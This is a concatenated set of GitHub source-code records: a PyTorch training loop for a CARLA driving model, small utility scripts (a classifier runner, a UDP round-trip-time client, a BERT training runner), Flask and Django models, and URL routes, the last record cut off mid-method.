optimizer_lw.zero_grad()\n\t\t\t\tLgrad.backward()\n\t\t\t\t#update loss weights\n\t\t\t\toptimizer_lw.step() \n\n\t\t\t\t#ambil lgrad untuk disimpan nantinya\n\t\t\t\tlgrad = Lgrad.item()\n\t\t\t\tnew_param_lw = optimizer_lw.param_groups[0]['params']\n\t\t\t\t# print(new_param_lw)\n\t\t\telse:\n\t\t\t\ttotal_loss.backward()\n\t\t\t\tlgrad = 0\n\t\t\t\tnew_param_lw = 1\n\t\t\t\n\t\toptimizer.step() #dan update bobot2 pada network model\n\n\t\t#hitung rata-rata (avg) loss, dan metric untuk batch-batch yang telah diproses\n\t\tscore['total_loss'].update(total_loss.item())\n\t\tscore['ss_loss'].update(loss_seg.item()) \n\t\tscore['wp_loss'].update(loss_wp.item())\n\t\tscore['str_loss'].update(loss_str.item())\n\t\tscore['thr_loss'].update(loss_thr.item())\n\t\tscore['brk_loss'].update(loss_brk.item())\n\t\tscore['redl_loss'].update(loss_redl.item())\n\t\tscore['stops_loss'].update(loss_stops.item())\n\n\t\t#update visualisasi progress bar\n\t\tpostfix = OrderedDict([('t_total_l', score['total_loss'].avg),\n\t\t\t\t\t\t\t('t_ss_l', score['ss_loss'].avg),\n\t\t\t\t\t\t\t('t_wp_l', score['wp_loss'].avg),\n\t\t\t\t\t\t\t('t_str_l', score['str_loss'].avg),\n\t\t\t\t\t\t\t('t_thr_l', score['thr_loss'].avg),\n\t\t\t\t\t\t\t('t_brk_l', score['brk_loss'].avg),\n\t\t\t\t\t\t\t('t_redl_l', score['redl_loss'].avg),\n\t\t\t\t\t\t\t('t_stops_l', score['stops_loss'].avg)])\n\t\t\n\t\t#tambahkan ke summary writer\n\t\twriter.add_scalar('t_total_l', total_loss.item(), cur_step)\n\t\twriter.add_scalar('t_ss_l', loss_seg.item(), cur_step)\n\t\twriter.add_scalar('t_wp_l', loss_wp.item(), cur_step)\n\t\twriter.add_scalar('t_str_l', loss_str.item(), cur_step)\n\t\twriter.add_scalar('t_thr_l', loss_thr.item(), cur_step)\n\t\twriter.add_scalar('t_brk_l', loss_brk.item(), cur_step)\n\t\twriter.add_scalar('t_redl_l', loss_redl.item(), cur_step)\n\t\twriter.add_scalar('t_stops_l', loss_stops.item(), cur_step)\n\n\t\tprog_bar.set_postfix(postfix)\n\t\tprog_bar.update(1)\n\t\tbatch_ke += 1\n\tprog_bar.close()\t\n\n\t#return value\n\treturn postfix, new_param_lw, lgrad\n\n\n#FUNGSI VALIDATION\ndef validate(data_loader, model, config, writer, cur_epoch, device):\n\t#buat variabel untuk menyimpan kalkulasi loss, dan iou\n\tscore = {'total_loss': AverageMeter(),\n\t\t\t'ss_loss': AverageMeter(),\n\t\t\t'wp_loss': AverageMeter(),\n\t\t\t'str_loss': AverageMeter(),\n\t\t\t'thr_loss': AverageMeter(),\n\t\t\t'brk_loss': AverageMeter(),\n\t\t\t'redl_loss': AverageMeter(),\n\t\t\t'stops_loss': AverageMeter()}\n\t\t\t\n\t#masuk ke mode eval, pytorch\n\tmodel.eval()\n\n\twith torch.no_grad():\n\t\t#visualisasi progress validasi dengan tqdm\n\t\tprog_bar = tqdm(total=len(data_loader))\n\n\t\t#validasi....\n\t\ttotal_batch = len(data_loader)\n\t\tbatch_ke = 0\n\t\tfor data in data_loader:\n\t\t\tcur_step = cur_epoch*total_batch + batch_ke\n\n\t\t\t#load IO dan pindah ke GPU\n\t\t\t# fronts = []\n\t\t\t# for i in range(config.seq_len): #append data untuk input sequence\n\t\t\t# \tfronts.append(data['fronts'][i].to(device, dtype=torch.float))\n\t\t\tfronts = data['fronts'].to(device, dtype=torch.float) #ambil yang terakhir aja #[-1]\n\t\t\tseg_fronts = data['seg_fronts'].to(device, dtype=torch.float) #ambil yang terakhir aja #[-1]\n\t\t\ttarget_point = torch.stack(data['target_point'], dim=1).to(device, dtype=torch.float)\n\t\t\tgt_velocity = data['velocity'].to(device, dtype=torch.float)\n\t\t\tgt_waypoints = [torch.stack(data['waypoints'][i], dim=1).to(device, dtype=torch.float) for i in range(config.seq_len, len(data['waypoints']))]\n\t\t\tgt_waypoints = torch.stack(gt_waypoints, dim=1).to(device, dtype=torch.float)\n\t\t\tgt_steer = data['steer'].to(device, dtype=torch.float)\n\t\t\tgt_throttle = data['throttle'].to(device, dtype=torch.float)\n\t\t\tgt_brake = data['brake'].to(device, dtype=torch.float)\n\t\t\tgt_red_light = data['red_light'].to(device, dtype=torch.float)\n\t\t\tgt_stop_sign = data['stop_sign'].to(device, dtype=torch.float)\n\n\t\t\t#forward pass\n\t\t\tpred_seg, pred_wp, steer, throttle, brake, red_light, stop_sign = model(fronts, target_point, gt_velocity)#, seg_fronts[-1])\n\n\t\t\t#compute loss\n\t\t\tloss_seg = BCEDice(pred_seg, seg_fronts)\n\t\t\tloss_wp = F.l1_loss(pred_wp, gt_waypoints)\n\t\t\tloss_str = F.l1_loss(steer, gt_steer)\n\t\t\tloss_thr = F.l1_loss(throttle, gt_throttle)\n\t\t\tloss_brk = F.l1_loss(brake, gt_brake)\n\t\t\tloss_redl = F.l1_loss(red_light, gt_red_light)\n\t\t\tloss_stops = F.l1_loss(stop_sign, gt_stop_sign)\n\t\t\ttotal_loss = loss_seg + loss_wp + loss_str + loss_thr + loss_brk + loss_redl + loss_stops\n\n\t\t\t#hitung rata-rata (avg) loss, dan metric untuk batch-batch yang telah diproses\n\t\t\tscore['total_loss'].update(total_loss.item())\n\t\t\tscore['ss_loss'].update(loss_seg.item()) \n\t\t\tscore['wp_loss'].update(loss_wp.item())\n\t\t\tscore['str_loss'].update(loss_str.item())\n\t\t\tscore['thr_loss'].update(loss_thr.item())\n\t\t\tscore['brk_loss'].update(loss_brk.item())\n\t\t\tscore['redl_loss'].update(loss_redl.item())\n\t\t\tscore['stops_loss'].update(loss_stops.item())\n\n\t\t\t#update visualisasi progress bar\n\t\t\tpostfix = OrderedDict([('v_total_l', score['total_loss'].avg),\n\t\t\t\t\t\t\t\t('v_ss_l', score['ss_loss'].avg),\n\t\t\t\t\t\t\t\t('v_wp_l', score['wp_loss'].avg),\n\t\t\t\t\t\t\t\t('v_str_l', score['str_loss'].avg),\n\t\t\t\t\t\t\t\t('v_thr_l', score['thr_loss'].avg),\n\t\t\t\t\t\t\t\t('v_brk_l', score['brk_loss'].avg),\n\t\t\t\t\t\t\t\t('v_redl_l', score['redl_loss'].avg),\n\t\t\t\t\t\t\t\t('v_stops_l', score['stops_loss'].avg)])\n\t\t\t\n\t\t\t#tambahkan ke summary writer\n\t\t\twriter.add_scalar('v_total_l', total_loss.item(), cur_step)\n\t\t\twriter.add_scalar('v_ss_l', loss_seg.item(), cur_step)\n\t\t\twriter.add_scalar('v_wp_l', loss_wp.item(), cur_step)\n\t\t\twriter.add_scalar('v_str_l', loss_str.item(), cur_step)\n\t\t\twriter.add_scalar('v_thr_l', loss_thr.item(), cur_step)\n\t\t\twriter.add_scalar('v_brk_l', loss_brk.item(), cur_step)\n\t\t\twriter.add_scalar('v_redl_l', loss_redl.item(), cur_step)\n\t\t\twriter.add_scalar('v_stops_l', loss_stops.item(), cur_step)\n\n\t\t\tprog_bar.set_postfix(postfix)\n\t\t\tprog_bar.update(1)\n\t\t\tbatch_ke += 1\n\t\tprog_bar.close()\t\n\n\t#return value\n\treturn postfix\n\n\n#MAIN FUNCTION\ndef main():\n\t# Load config\n\tconfig = GlobalConfig()\n\n\t#SET GPU YANG AKTIF\n\ttorch.backends.cudnn.benchmark = True\n\tdevice = torch.device(\"cuda:0\")\n\tos.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\" \n\tos.environ[\"CUDA_VISIBLE_DEVICES\"]=config.gpu_id#visible_gpu #\"0\" \"1\" \"0,1\"\n\n\t#IMPORT MODEL UNTUK DITRAIN\n\tprint(\"IMPORT ARSITEKTUR DL DAN COMPILE\")\n\tmodel = s13(config, device).float().to(device)\n\tmodel_parameters = filter(lambda p: p.requires_grad, model.parameters())\n\tparams = sum([np.prod(p.size()) for p in model_parameters])\n\tprint('Total trainable parameters: ', params)\n\n\t#KONFIGURASI OPTIMIZER\n\t# optima = optim.SGD(model.parameters(), lr=config.lr, momentum=0.9, weight_decay=config.weight_decay)\n\toptima = optim.AdamW(model.parameters(), lr=config.lr, weight_decay=config.weight_decay)\n\tscheduler = optim.lr_scheduler.ReduceLROnPlateau(optima, mode='min', factor=0.5, patience=3, min_lr=1e-5)\n\n\t#BUAT DATA BATCH\n\ttrain_set = CARLA_Data(root=config.train_data, config=config)\n\tval_set = CARLA_Data(root=config.val_data, config=config)\n\t# print(len(train_set))\n\tif len(train_set)%config.batch_size == 1:\n\t\tdrop_last = True #supaya ga mengacaukan MGN #drop last perlu untuk MGN\n\telse: #selain 1 bisa\n\t\tdrop_last = False\n\tdataloader_train = DataLoader(train_set, batch_size=config.batch_size, shuffle=True, num_workers=4, pin_memory=True, drop_last=drop_last) \n\tdataloader_val = DataLoader(val_set, batch_size=config.batch_size, shuffle=False, num_workers=4, pin_memory=True)\n\t# print(len(dataloader_train))\n\t\n\t#cek retrain atau tidak\n\tif not os.path.exists(config.logdir+\"/trainval_log.csv\"):\n\t\tprint('TRAIN from the beginning!!!!!!!!!!!!!!!!')\n\t\tos.makedirs(config.logdir, exist_ok=True)\n\t\tprint('Created dir:', config.logdir)\n\t\t#optimizer lw\n\t\tparams_lw = [torch.cuda.FloatTensor([config.loss_weights[i]]).clone().detach().requires_grad_(True) for i in range(len(config.loss_weights))]\n\t\toptima_lw = optim.SGD(params_lw, lr=config.lr)\n\t\t#set nilai awal\n\t\tcurr_ep = 0\n\t\tlowest_score = float('inf')\n\t\tstop_count = config.init_stop_counter\n\telse:\n\t\tprint('Continue training!!!!!!!!!!!!!!!!')\n\t\tprint('Loading checkpoint from ' + config.logdir)\n\t\t#baca log history training sebelumnya\n\t\tlog_trainval = pd.read_csv(config.logdir+\"/trainval_log.csv\")\n\t\t# replace variable2 ini\n\t\t# print(log_trainval['epoch'][-1:])\n\t\tcurr_ep = int(log_trainval['epoch'][-1:]) + 1\n\t\tlowest_score = float(np.min(log_trainval['val_loss']))\n\t\tstop_count = int(log_trainval['stop_counter'][-1:])\n\t\t# Load checkpoint\n\t\tmodel.load_state_dict(torch.load(os.path.join(config.logdir, 'recent_model.pth')))\n\t\toptima.load_state_dict(torch.load(os.path.join(config.logdir, 'recent_optim.pth')))\n\n\t\t#set optima lw baru\n\t\tlatest_lw = [float(log_trainval['lw_ss'][-1:]), float(log_trainval['lw_wp'][-1:]), float(log_trainval['lw_str'][-1:]), float(log_trainval['lw_thr'][-1:]), float(log_trainval['lw_brk'][-1:]), float(log_trainval['lw_redl'][-1:]), float(log_trainval['lw_stops'][-1:])]\n\t\tparams_lw = [torch.cuda.FloatTensor([latest_lw[i]]).clone().detach().requires_grad_(True) for i in range(len(latest_lw))]\n\t\toptima_lw = optim.SGD(params_lw, lr=float(log_trainval['lrate'][-1:]))\n\t\t# optima_lw.param_groups[0]['lr'] = optima.param_groups[0]['lr'] # lr disamakan\n\t\t# optima_lw.load_state_dict(torch.load(os.path.join(config.logdir, 'recent_optim_lw.pth')))\n\t\t#update direktori dan buat tempat penyimpanan baru\n\t\tconfig.logdir += \"/retrain\"\n\t\tos.makedirs(config.logdir, exist_ok=True)\n\t\tprint('Created new retrain dir:', config.logdir)\n\n\t#buat dictionary log untuk menyimpan training log di CSV\n\tlog = OrderedDict([\n\t\t\t('epoch', []),\n\t\t\t('best_model', []),\n\t\t\t('val_loss', []),\n\t\t\t('val_ss_loss', []),\n\t\t\t('val_wp_loss', []),\n\t\t\t('val_str_loss', []),\n\t\t\t('val_thr_loss', []),\n\t\t\t('val_brk_loss', []),\n\t\t\t('val_redl_loss', []),\n\t\t\t('val_stops_loss', []),\n\t\t\t('train_loss', []), \n\t\t\t('train_ss_loss', []),\n\t\t\t('train_wp_loss', []),\n\t\t\t('train_str_loss', []),\n\t\t\t('train_thr_loss', []),\n\t\t\t('train_brk_loss', []),\n\t\t\t('train_redl_loss', []),\n\t\t\t('train_stops_loss', []),\n\t\t\t('lrate', []),\n\t\t\t('stop_counter', []), \n\t\t\t('lgrad_loss', []),\n\t\t\t('lw_ss', []),\n\t\t\t('lw_wp', []),\n\t\t\t('lw_str', []),\n\t\t\t('lw_thr', []),\n\t\t\t('lw_brk', []),\n\t\t\t('lw_redl', []),\n\t\t\t('lw_stops', []),\n\t\t\t('elapsed_time', []),\n\t\t])\n\twriter = SummaryWriter(log_dir=config.logdir)\n\t\n\t#proses iterasi tiap epoch\n\tepoch = curr_ep\n\twhile True:\n\t\tprint(\"Epoch: {:05d}------------------------------------------------\".format(epoch))\n\t\t#cetak lr dan lw\n\t\tif config.MGN:\n\t\t\tcurr_lw = optima_lw.param_groups[0]['params']\n\t\t\tlw = np.array([tens.cpu().detach().numpy() for tens in curr_lw])\n\t\t\tlws = np.array([lw[i][0] for i in range(len(lw))])\n\t\t\tprint(\"current loss weights: \", lws)\t\n\t\telse:\n\t\t\tcurr_lw = config.loss_weights\n\t\t\tlws = config.loss_weights\n\t\t\tprint(\"current loss weights: \", config.loss_weights)\n\t\tprint(\"current lr untuk training: \", optima.param_groups[0]['lr'])\n\n\t\t#training validation\n\t\tstart_time = time.time() #waktu mulai\n\t\ttrain_log, new_params_lw, lgrad = train(dataloader_train, model, config, writer, epoch, device, optima, curr_lw, optima_lw)\n\t\tval_log = validate(dataloader_val, model, config, writer, epoch, device)\n\t\tif config.MGN:\n\t\t\t#update params lw yang sudah di renormalisasi ke optima_lw\n\t\t\toptima_lw.param_groups[0]['params'] = renormalize_params_lw(new_params_lw, config) #harus diclone supaya benar2 terpisah\n\t\t\tprint(\"total loss gradient: \"+str(lgrad))\n\t\t#update learning rate untuk training process\n\t\tscheduler.step(val_log['v_total_l']) #parameter acuan reduce LR adalah val_total_metric\n\t\toptima_lw.param_groups[0]['lr'] = optima.param_groups[0]['lr'] #update lr disamakan\n\t\telapsed_time = time.time() - start_time #hitung elapsedtime\n\n\t\t#simpan history training ke file csv\n\t\tlog['epoch'].append(epoch)\n\t\tlog['lrate'].append(optima.param_groups[0]['lr'])\n\t\tlog['train_loss'].append(train_log['t_total_l'])\n\t\tlog['val_loss'].append(val_log['v_total_l'])\n\t\tlog['train_ss_loss'].append(train_log['t_ss_l'])\n\t\tlog['val_ss_loss'].append(val_log['v_ss_l'])\n\t\tlog['train_wp_loss'].append(train_log['t_wp_l'])\n\t\tlog['val_wp_loss'].append(val_log['v_wp_l'])\n\t\tlog['train_str_loss'].append(train_log['t_str_l'])\n\t\tlog['val_str_loss'].append(val_log['v_str_l'])\n\t\tlog['train_thr_loss'].append(train_log['t_thr_l'])\n\t\tlog['val_thr_loss'].append(val_log['v_thr_l'])\n\t\tlog['train_brk_loss'].append(train_log['t_brk_l'])\n\t\tlog['val_brk_loss'].append(val_log['v_brk_l'])\n\t\tlog['train_redl_loss'].append(train_log['t_redl_l'])\n\t\tlog['val_redl_loss'].append(val_log['v_redl_l'])\n\t\tlog['train_stops_loss'].append(train_log['t_stops_l'])\n\t\tlog['val_stops_loss'].append(val_log['v_stops_l'])\n\t\tlog['lgrad_loss'].append(lgrad)\n\t\tlog['lw_ss'].append(lws[0])\n\t\tlog['lw_wp'].append(lws[1])\n\t\tlog['lw_str'].append(lws[2])\n\t\tlog['lw_thr'].append(lws[3])\n\t\tlog['lw_brk'].append(lws[4])\n\t\tlog['lw_redl'].append(lws[5])\n\t\tlog['lw_stops'].append(lws[6])\n\t\tlog['elapsed_time'].append(elapsed_time)\n\t\tprint('| t_total_l: %.4f | t_ss_l: %.4f | t_wp_l: %.4f | t_str_l: %.4f | t_thr_l: %.4f | t_brk_l: %.4f | t_redl_l: %.4f | t_stops_l: %.4f |' % (train_log['t_total_l'], train_log['t_ss_l'], train_log['t_wp_l'], train_log['t_str_l'], train_log['t_thr_l'], train_log['t_brk_l'], train_log['t_redl_l'], train_log['t_stops_l']))\n\t\tprint('| v_total_l: %.4f | v_ss_l: %.4f | v_wp_l: %.4f | v_str_l: %.4f | v_thr_l: %.4f | v_brk_l: %.4f | v_redl_l: %.4f | v_stops_l: %.4f |' % (val_log['v_total_l'], val_log['v_ss_l'], val_log['v_wp_l'], val_log['v_str_l'], val_log['v_thr_l'], val_log['v_brk_l'], val_log['v_redl_l'], val_log['v_stops_l']))\n\t\tprint('elapsed time: %.4f sec' % (elapsed_time))\n\t\t\n\t\t#save recent model dan optimizernya\n\t\ttorch.save(model.state_dict(), os.path.join(config.logdir, 'recent_model.pth'))\n\t\ttorch.save(optima.state_dict(), os.path.join(config.logdir, 'recent_optim.pth'))\n\t\t# torch.save(optima_lw.state_dict(), os.path.join(config.logdir, 'recent_optim_lw.pth'))\n\n\t\t#save model best only\n\t\tif val_log['v_total_l'] < lowest_score:\n\t\t\tprint(\"v_total_l: %.4f < lowest sebelumnya: %.4f\" % (val_log['v_total_l'], lowest_score))\n\t\t\tprint(\"model terbaik disave!\")\n\t\t\ttorch.save(model.state_dict(), os.path.join(config.logdir, 'best_model.pth'))\n\t\t\ttorch.save(optima.state_dict(), os.path.join(config.logdir, 'best_optim.pth'))\n\t\t\t# torch.save(optima_lw.state_dict(), os.path.join(config.logdir, 'best_optim_lw.pth'))\n\t\t\t#v_total_l sekarang menjadi lowest_score\n\t\t\tlowest_score = val_log['v_total_l']\n\t\t\t#reset stop counter\n\t\t\tstop_count = config.init_stop_counter\n\t\t\tprint(\"stop counter direset ke: \", stop_count)\n\t\t\t#catat sebagai best model\n\t\t\tlog['best_model'].append(\"BEST\")\n\t\telse:\n\t\t\tprint(\"v_total_l: %.4f >= lowest sebelumnya: %.4f\" % (val_log['v_total_l'], lowest_score))\n\t\t\tprint(\"model tidak disave!\")\n\t\t\tstop_count -= 1\n\t\t\tprint(\"stop counter : \", stop_count)\n\t\t\tlog['best_model'].append(\"\")\n\n\t\t#update stop counter\n\t\tlog['stop_counter'].append(stop_count)\n\t\t#paste ke csv file\n\t\tpd.DataFrame(log).to_csv(os.path.join(config.logdir, 'trainval_log.csv'), index=False)\n\n\t\t#kosongkan cuda chace\n\t\ttorch.cuda.empty_cache()\n\t\tepoch += 1\n\n\t\t# early stopping jika stop counter sudah mencapai 0 dan early stop true\n\t\tif stop_count==0:\n\t\t\tprint(\"TRAINING BERHENTI KARENA TIDAK ADA PENURUNAN TOTAL LOSS DALAM %d EPOCH TERAKHIR\" % (config.init_stop_counter))\n\t\t\tbreak #loop\n\t\t\n\n#RUN PROGRAM\nif __name__ == \"__main__\":\n\tmain()\n\n\n","repo_name":"oskarnatan/end-to-end-driving","sub_path":"s13/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":23577,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"76"} +{"seq_id":"40005434405","text":"\"\"\"\nClassificator runner script\n\"\"\"\n\nimport argparse\nimport datetime\nimport traceback\nfrom classificator.classify import Classificator\n\ndef main(args):\n # Run the classificator\n clf = Classificator(config_loc=args.config_loc)\n try:\n clf.choose_model()\n except Exception as e:\n # Write the traceback to log\n with open(\"{0}\".format(clf.log_name), \"a\") as f:\n now = datetime.datetime.now()\n f.write(\"{0} - Runtime Error\\n\".format(now))\n tb = traceback.format_exc()\n f.write(tb)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='run classification')\n parser.add_argument('-c', '--config',\n dest='config_loc',\n default='config.json',\n help='input configuration location')\n args = parser.parse_args()\n main(args)\n\n","repo_name":"denver1117/classificator-server","sub_path":"classificator_server/classify_runner.py","file_name":"classify_runner.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"34938085113","text":"\"\"\"\nModule containing class of the message model.\n\"\"\"\n\nfrom .base import db\n\nclass Message(db.Model):\n \"\"\"Model of the message users sent to channels.\n\n Fields:\n id (int): Primary key of the message.\\n\n content (str): Content of the message.\\n\n time (DateTime): Time when the message was sent.\\n\n user_id (foreign key): ID of the user who sent the message.\\n\n channel_id (foreign key): Id of the channel the message was sent to.\n\n \"\"\"\n __tablename__ = 'messages'\n id = db.Column(db.Integer, primary_key=True)\n content = db.Column(db.Text, nullable=False)\n time = db.Column(db.DateTime, nullable=False)\n\n author_id = db.Column(db.Integer, db.ForeignKey('users.id'), nullable=False)\n author = db.relationship('User', lazy=True)\n target_channel = db.Column(db.Integer, db.ForeignKey('channels.id', ondelete='CASCADE'), nullable=False)\n\n def __repr__(self) -> str:\n \"\"\"Get representation of a message.\n\n Returns:\n String representation of a message.\n\n \"\"\"\n return f\"Message(author_id={self.author_id}, target_channel={self.target_channel}, time={self.time})\"\n","repo_name":"NOXCIS/Wiregate","sub_path":"Channels/app/models/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":116,"dataset":"github-code","pt":"76"} +{"seq_id":"40111444687","text":"#Client side\nfrom socket import *\nimport time;\n\nserverName = '192.168.0.42'\nserverPort = 12000\nclientSocket = socket(AF_INET,SOCK_DGRAM)\nmessage = raw_input('Send a message: ')\nclientSocket.sendto (message.encode(),(serverName, serverPort))\n#record current time when packet is sent to server\nstart_time = time.time()\nmessage, serverAddress = clientSocket.recvfrom(2048)\n#calculate time difference when message received\nelapsed_time = time.time() - start_time\nprint(\"Received Message : %s\" %message.decode())\nprint(\"*********\")\nprint(\"Calculated RTT is %lf seconds\" %elapsed_time)\nprint(\"*********\")\n\n","repo_name":"gary917/Python","sub_path":"UDPclient.py","file_name":"UDPclient.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"33917192519","text":"#!/usr/bin/env python3\nimport argparse\nimport collections\nimport datetime\nimport json\nimport names\nimport os\nimport shutil\nfrom toxic.model import Model\n\n\ndef setup_experiment(training_config_file):\n experiment = names.get_full_name().lower().replace(' ', '_') + '_' + datetime.datetime.now().strftime('%Y%m%d%H%M%S')\n experiment_dir = os.path.join(os.getcwd(), 'training', experiment)\n os.mkdir(experiment_dir)\n new_training_config_file = os.path.join(experiment_dir, os.path.basename(training_config_file))\n shutil.copyfile(training_config_file, new_training_config_file)\n return experiment_dir, new_training_config_file\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--bert_config_file', type=str, default='models/bert_config.json',\n help='Location of the bert config file')\n parser.add_argument('--train_config_file', type=str, default='train_config.json',\n help='Location of the training config file')\n parser.add_argument('--training_data', type=str, default='data/train.tf_record',\n help='Location of the training data')\n parser.add_argument('--validation_data', type=str, default='data/validation.tf_record',\n help='Location of the validation data')\n args = parser.parse_args()\n experiment_dir, train_config_file = setup_experiment(args.train_config_file)\n bert_config = modeling.BertConfig.from_json_file(args.bert_config_file)\n train_config = json.load(open(train_config_file))\n model = Model(bert_config, train_config, args.training_data, args.validation_data, experiment_dir)\n model.train()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"andreweskeclarke/toxic_kaggle","sub_path":"run_training.py","file_name":"run_training.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"9215207661","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^login$', views.login, name='login'),\n url(r'^register$', views.register, name='register'),\n url(r'^search/city$', views.search_city, name='search_city'),\n url(r'^search/country$', views.search_country, name='search_country'),\n url(r'^search/city&country$', views.search_city_country, name='search_city_country'),\n url(r'^book$', views.book, name='book'),\n url(r'^reviews$', views.reviews, name='reviews')\n\n]\n","repo_name":"Brancucci/dbFinalProjectServer","sub_path":"Touring360/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"4039416177","text":"import operator\nfrom decimal import Decimal as D\nfrom decimal import ROUND_DOWN\n\nfrom django.conf import settings\nfrom django.core import exceptions\nfrom django.core.exceptions import PermissionDenied\nfrom django.core.urlresolvers import reverse\nfrom django.db import models\nfrom django.template.defaultfilters import date as date_filter\nfrom django.utils.timezone import get_current_timezone, now\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom oscar.apps.offer import utils, abstract_models\nfrom oscar.core.loading import get_model\nfrom oscar.core.utils import get_default_currency\nfrom oscar.models import fields\nfrom oscar.templatetags.currency_filters import currency\n\nfrom .managers import ActiveFeeManager\nfrom .results import BasketFee, ZERO_FEE\n\n\nclass ConditionalFee(models.Model):\n \"\"\"\n A conditional fee\n \"\"\"\n name = models.CharField(\n _(\"Name\"), max_length=128, unique=True,\n help_text=_(\"This is displayed within the customer's basket\"))\n slug = fields.AutoSlugField(\n _(\"Slug\"), max_length=128, unique=True, populate_from='name')\n description = models.TextField(_(\"Description\"), blank=True,\n help_text=_(\"This is displayed on the fee\"\n \" browsing page\"))\n\n SITE, USER, SESSION = (\"Site\", \"User\", \"Session\")\n TYPE_CHOICES = (\n (SITE, _(\"Site fee - available to all users\")),\n (USER, _(\"User fee - available to certain types of user\")),\n (SESSION, _(\"Session offer - temporary offer, available for \"\n \"a user for the duration of their session\")),\n )\n offer_type = models.CharField(\n _(\"Type\"), choices=TYPE_CHOICES, default=SITE, max_length=128)\n\n # We track a status variable so it's easier to load offers that are\n # 'available' in some sense.\n OPEN, SUSPENDED, CONSUMED = \"Open\", \"Suspended\", \"Consumed\"\n STATUS_CHOICES = (\n (OPEN, OPEN),\n (SUSPENDED, SUSPENDED),\n (CONSUMED, CONSUMED),\n )\n status = models.CharField(_(\"Status\"), max_length=64, choices=STATUS_CHOICES, default=OPEN)\n\n condition = models.ForeignKey(\n 'django_oscar_fees.Condition',\n on_delete=models.CASCADE,\n verbose_name=_(\"Condition\"))\n fee = models.ForeignKey(\n 'django_oscar_fees.Fee',\n on_delete=models.CASCADE,\n verbose_name=_(\"Fee\"))\n\n # AVAILABILITY\n\n # Range of availability.\n start_datetime = models.DateTimeField(\n _(\"Start date\"), blank=True, null=True)\n end_datetime = models.DateTimeField(\n _(\"End date\"), blank=True, null=True,\n help_text=_(\"Fees are active until the end of the 'end date'\"))\n\n # Use this field to limit the number of times this fee can be applied in\n # total. Note that a single order can apply an fee multiple times so\n # this is not necessarily the same as the number of orders that can use it.\n # Also see max_basket_applications.\n max_global_applications = models.PositiveIntegerField(\n _(\"Max global applications\"),\n help_text=_(\"The number of times this fee can be used before it \"\n \"is unavailable\"), blank=True, null=True)\n\n # Use this field to limit the number of times this fee can be used by a\n # single user. This only works for signed-in users - it doesn't really\n # make sense for sites that allow anonymous checkout.\n max_user_applications = models.PositiveIntegerField(\n _(\"Max user applications\"),\n help_text=_(\"The number of times a single user may get this fee\"),\n blank=True, null=True)\n\n # Use this field to limit the number of times this fee can be applied to\n # a basket (and hence a single order). Often, an fee should only be\n # usable once per basket/order, so this field will commonly be set to 1.\n max_basket_applications = models.PositiveIntegerField(\n _(\"Max basket applications\"),\n blank=True, null=True,\n help_text=_(\"The number of times this fee can be applied to a \"\n \"basket (and order)\"))\n\n # Use this field to limit the amount of fee can lead to.\n # This can be helpful with budgeting.\n max_fee = models.DecimalField(\n _(\"Max fee\"), decimal_places=2, max_digits=12, null=True,\n blank=True,\n help_text=_(\"When an fee has reached more to orders \"\n \"than this threshold, then the fee becomes \"\n \"unavailable\"))\n\n # TRACKING\n # These fields are used to enforce the limits set by the\n # max_* fields above.\n\n total_fee = models.DecimalField(\n _(\"Total Fee\"), decimal_places=2, max_digits=12,\n default=D('0.00'))\n num_applications = models.PositiveIntegerField(\n _(\"Number of applications\"), default=0)\n num_orders = models.PositiveIntegerField(\n _(\"Number of Orders\"), default=0)\n\n redirect_url = fields.ExtendedURLField(\n _(\"URL redirect (optional)\"), blank=True)\n date_created = models.DateTimeField(_(\"Date Created\"), auto_now_add=True)\n\n objects = models.Manager()\n active = ActiveFeeManager()\n\n class Meta:\n app_label = 'django_oscar_fees'\n ordering = ['-date_created']\n verbose_name = _(\"Conditional fee\")\n verbose_name_plural = _(\"Conditional fees\")\n\n def save(self, *args, **kwargs):\n # Check to see if consumption thresholds have been broken\n if not self.is_suspended:\n if self.get_max_applications() == 0:\n self.status = self.CONSUMED\n else:\n self.status = self.OPEN\n\n return super().save(*args, **kwargs)\n\n def get_absolute_url(self):\n return reverse('offer:detail', kwargs={'slug': self.slug})\n\n def __str__(self):\n return self.name\n\n def clean(self):\n if (self.start_datetime and self.end_datetime and\n self.start_datetime > self.end_datetime):\n raise exceptions.ValidationError(\n _('End date should be later than start date'))\n\n @property\n def is_open(self):\n return self.status == self.OPEN\n\n @property\n def is_suspended(self):\n return self.status == self.SUSPENDED\n\n def suspend(self):\n self.status = self.SUSPENDED\n self.save()\n suspend.alters_data = True\n\n def unsuspend(self):\n self.status = self.OPEN\n self.save()\n unsuspend.alters_data = True\n\n def is_available(self, user=None, test_date=None):\n \"\"\"\n Test whether this offer is available to be used\n \"\"\"\n if self.is_suspended:\n return False\n if test_date is None:\n test_date = now()\n predicates = []\n if self.start_datetime:\n predicates.append(self.start_datetime > test_date)\n if self.end_datetime:\n predicates.append(test_date > self.end_datetime)\n if any(predicates):\n return False\n return self.get_max_applications(user) > 0\n\n def is_condition_satisfied(self, basket):\n return self.condition.proxy().is_satisfied(self, basket)\n\n def is_condition_partially_satisfied(self, basket):\n return self.condition.proxy().is_partially_satisfied(self, basket)\n\n def get_upsell_message(self, basket):\n return self.condition.proxy().get_upsell_message(self, basket)\n\n def apply_fee(self, basket):\n \"\"\"\n Applies the benefit to the given basket and returns the discount.\n \"\"\"\n if not self.is_condition_satisfied(basket):\n return 